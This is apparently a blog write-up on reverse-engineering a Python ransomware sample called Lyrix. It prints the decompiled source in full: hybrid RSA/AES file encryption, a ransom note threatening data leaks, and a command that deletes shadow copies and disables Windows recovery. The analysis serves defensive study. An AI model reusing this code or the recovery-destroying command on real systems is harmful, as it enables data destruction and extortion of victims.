Decoding a Pyinstaller ransomware sample

5 minute read

Note: if you want to download this ransomware sample for educational purposes, feel free to do so by clicking here: password: infected

Introduction

Recently, I’ve came across this Python ransomware sample: Encryptor.exe ransomware

First, here’s the ransom note: ransomware note

Now, let’s start examining the .exe file statically.

Understanding the file

Here’s the Detect It Easy output: Detect it easy

We can clearly see that the program is a python-compiled executable, by examining the hexadecimal artifacts:

alt text

Now, let’s jump to reversing the file!

We will use the Python script pyinstxtractor to extract and analyze the contents of this pyinstaller generated executable file:

Unpacking pyinstaller resources

Analyzing the file

We received the output from pyinstxtractor:

C:\Users\WDAGUtilityAccount\Downloads\analyzing>pyinstxtractor.py Encryptor.exe
[+] Processing Encryptor.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.13
[+] Length of package: 21092376 bytes
[+] Found 120 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_cryptography_openssl.pyc
[+] Possible entry point: pyi_rth_pywintypes.pyc
[+] Possible entry point: pyi_rth_pythoncom.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: Encryptor.pyc
[+] Found 609 files in PYZ archive
[+] Successfully extracted pyinstaller archive: Encryptor.exe

You can now use a python decompiler on the pyc files within the extracted directory.

So, let’s go to the newly generated Encrypted.exe_extracted folder:

Unpacked libraries

This ransomware sample clearly uses a lot of cryptographic libraries.

This Encrypted.pyc file is one of the files in the Encrypted.exe_extracted folder:

Bytecode

Now, we need to decompile the Encrypted.pyc file we received from pyinstxtractor. For that, we’ll use the web interface of this library called pylingual, that decompiles .pyc files containing the compiled bytecode of the ransomware’s main Python source code:

Pylingual gave us a great reconstruction of the source code:

Reconstructed source code


# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: Encryptor.py
# Bytecode version: 3.13.0rc3 (3571)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

from pathlib import Path
from PIL import Image, ImageDraw, ImageFont
import ctypes
import string
import subprocess
import shutil
import base64
import sys
from win32com.client import Dispatch
from win32api import GetSystemMetrics
from PIL import Image, ImageDraw, ImageFont
import random
import os
import secrets
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
PUBLIC_KEY_PEM = '-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDzOPVPDhQAR/xYjucI5SdCugXS\nG9ZFk5C1It85dOvh+fmD1UNXs5h3R28hUtThRARNh2ar3ADlGGWHIKwoV4P5hZx4\nq2Cg4odgWrf7a5eskCu3fI4eCTKBSItuEs4nFrjdu6HDXnzVHDkxrkWY96mmoZ9R\n0zG8Kyo6ofuge9p2IwIDAQAB\n-----END PUBLIC KEY-----'
AES_KEY_PATH = 'C:\\ProgramData\\02dq34jROu.key'
USER_PATH = os.path.expanduser('~')
TARGET_DIRS = ['Downloads', 'Music', 'Documents', 'Desktop', 'Videos', 'Pictures']
EXTENSION = '.02dq34jROu'

def _34EYLBSVGLRLCR7DM4():
    return serialization.load_pem_public_key(PUBLIC_KEY_PEM.encode(), backend=default_backend())

def _JXOPHO2CGWP23DL9L1():
    aes_key = secrets.token_bytes(32)
    public_key = _34EYLBSVGLRLCR7DM4()
    encrypted_aes_key = public_key.encrypt(aes_key, padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()), algorithm=hashes.SHA256(), label=None))
    with open(AES_KEY_PATH, 'wb') as key_file:
        key_file.write(encrypted_aes_key)
        return aes_key

def _0HAHESD3QA17F3OWF7():
    if not os.path.exists(AES_KEY_PATH):
        return _JXOPHO2CGWP23DL9L1()

def _SSJAVGM86I7CGWDH9W(file_path, aes_key):
    if not file_path.endswith(EXTENSION) and (not file_path.endswith('.exe')) and (not file_path.endswith('.dll')) and file_path.endswith('.lnk'):
        pass  # postinserted
    return None

def _LLIRBGOWCAMFAVUTAK():
    global aes_key  # inserted
    contentof = '-- Lyrix\n\nYour data has been encrypted and stolen. The only way to recover it is by contacting us.\nDo not attempt to use third-party recovery tools — doing so may permanently damage your files.\n\nTo prove that decryption is possible, we are willing to decrypt 2 random files for free.\n\nYou can contact us at:\nTDVP7boZDZDE4GYWA3qW@protonmail.com\n\nWARNING!\nWe have also downloaded a portion of your data. If you do not pay, we will release it publicly.\n\nID: KVNR2HLU3N9W5BQCPU\n    '
    aes_key = _0HAHESD3QA17F3OWF7()
    print('AES key already exists. Skipping key generation.') if not aes_key else None
    appdata_dir = os.path.join(USER_PATH, 'AppData').lower()
    for root, dirs, files in os.walk(USER_PATH):
        root_normalized = os.path.abspath(root).lower()
        if root_normalized.startswith(appdata_dir):
            continue
        readme_path = os.path.join(root, 'README.txt')
        try:
            with open(readme_path, 'w', encoding='utf-8') as readme_file:
                readme_file.write(contentof)
                    print(f'Created README.txt in: {root}')
                    for file in files:
                        file_path = os.path.join(root, file)
                        try:
                            _SSJAVGM86I7CGWDH9W(file_path, aes_key)
                            print(f'File [{file_path}] encrypted')
    except Exception as e:
        print(f'[WARNING] Failed to create README.txt in {root}: {e}')
    except Exception as e:
        print(f'[WARNING] Cannot Encrypt file {file_path}: {e}')
if __name__ == '__main__':
    _LLIRBGOWCAMFAVUTAK()
subprocess.Popen('cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no', shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL, creationflags=subprocess.CREATE_NO_WINDOW)
extensions_to_list = ['.exe', '.dll', '.lnk']

def list_files(drive_path, extensions):
    for root, dirs, files in os.walk(drive_path, topdown=True):
        for file in files:
            if any((file.endswith(ext) for ext in extensions)):
                continue
            file_path = os.path.join(root, file)
            _SSJAVGM86I7CGWDH9W(file_path, aes_key)
for drive_letter in string.ascii_uppercase:
    drive_path = f'{drive_letter}:/'
    if drive_letter not in ['C'] and os.path.exists(drive_path):
        pass  # postinserted
    else:  # inserted
        try:
            list_files(drive_path, extensions_to_list)
except PermissionError:
    print(f'Access denied to {drive_path}')

Great! So now we managed to get the literal source code itself.

Let’s explain what the code does step by step:

Source code explanation

Here are the key variables:

  • PUBLIC_KEY_PEM: The attacker’s RSA public key, hardcoded into the malware.
  • AES_KEY_PATH: Where the victim’s encrypted AES key will be stored: C:\ProgramData\02dq34jROu.key. 02dq34jROu is likely a generated ID for the key
  • TARGET_DIRS: Standard folders to attack first (Downloads, Documents, Desktop, etc.).
  • EXTENSION: Files will get renamed with the randomly generated ID .02dq34jROu after encryption (this code doesn’t show the full renaming though).

The malware also uses subprocess.Popen(...) commands to deletes all system shadow copies and disables recovery options:

  • vssadmin delete shadows /all /quiet
  • wmic shadowcopy delete
  • bcdedit /set {default} bootstatuspolicy ignoreallfailures
  • bcdedit /set {default} recoveryenabled no

This makes it harder to recover files without paying.

list_files(drive_path, extensions)

Walks through a drive letter (like D:/, E:/).

The encryption routine works like this:

  • For every file, if file is NOT .exe, .dll, or .lnk, it tries to encrypt it.
  • For every drive letter A: to Z, if the drive exists and is NOT C: (system drive), encrypt files on it.

This ransomware has some bugs and problems, and is likely very ameatur-ish.